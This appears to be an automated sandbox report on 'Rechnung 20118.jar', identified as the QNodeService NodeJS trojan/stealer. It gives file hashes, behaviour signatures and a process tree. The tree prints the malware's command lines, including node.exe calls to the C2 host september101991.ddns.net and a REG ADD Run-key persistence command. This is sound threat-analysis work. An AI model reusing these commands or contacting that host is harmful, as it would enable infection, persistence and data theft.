Analysis

  • max time kernel
    37s
  • max time network
    127s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    13-10-2020 14:35

General

  • Target

    Rechnung 20118.jar

  • Size

    426KB

  • MD5

    6bc043f799a1abdcb9d7a82392f9a9eb

  • SHA1

    2c3507dbb7095381ec36835e42d95dc776af6e84

  • SHA256

    c82d09dc7e88fbaa8585728234aba3f72af8f3a1d588bbadab722b622f3e2aa4

  • SHA512

    3238e51d3aeb425577b8706221d118f30f1d22c3f0a634ff7f2f214f79a17b3d0e15070719e13dd63a2ad706e89c3127db37b91963888d90f6b05817bf8a5e2c

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Rechnung 20118.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3176
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\11d79058.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2832
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2256
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_fm8Mcr\boot.js --hub-domain september101991.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_fm8Mcr\boot.js --hub-domain september101991.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:200
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b1e1630c-cf64-4ad5-b61d-235262bcf799" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4052
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "b1e1630c-cf64-4ad5-b61d-235262bcf799" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3280

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/200-174-0x000000D8E88C0000-0x000000D8E88C1000-memory.dmp

    Filesize

    4KB

  • memory/2208-170-0x0000018217C30000-0x0000018217C31000-memory.dmp

    Filesize

    4KB

  • memory/2256-167-0x000000DB75580000-0x000000DB75581000-memory.dmp

    Filesize

    4KB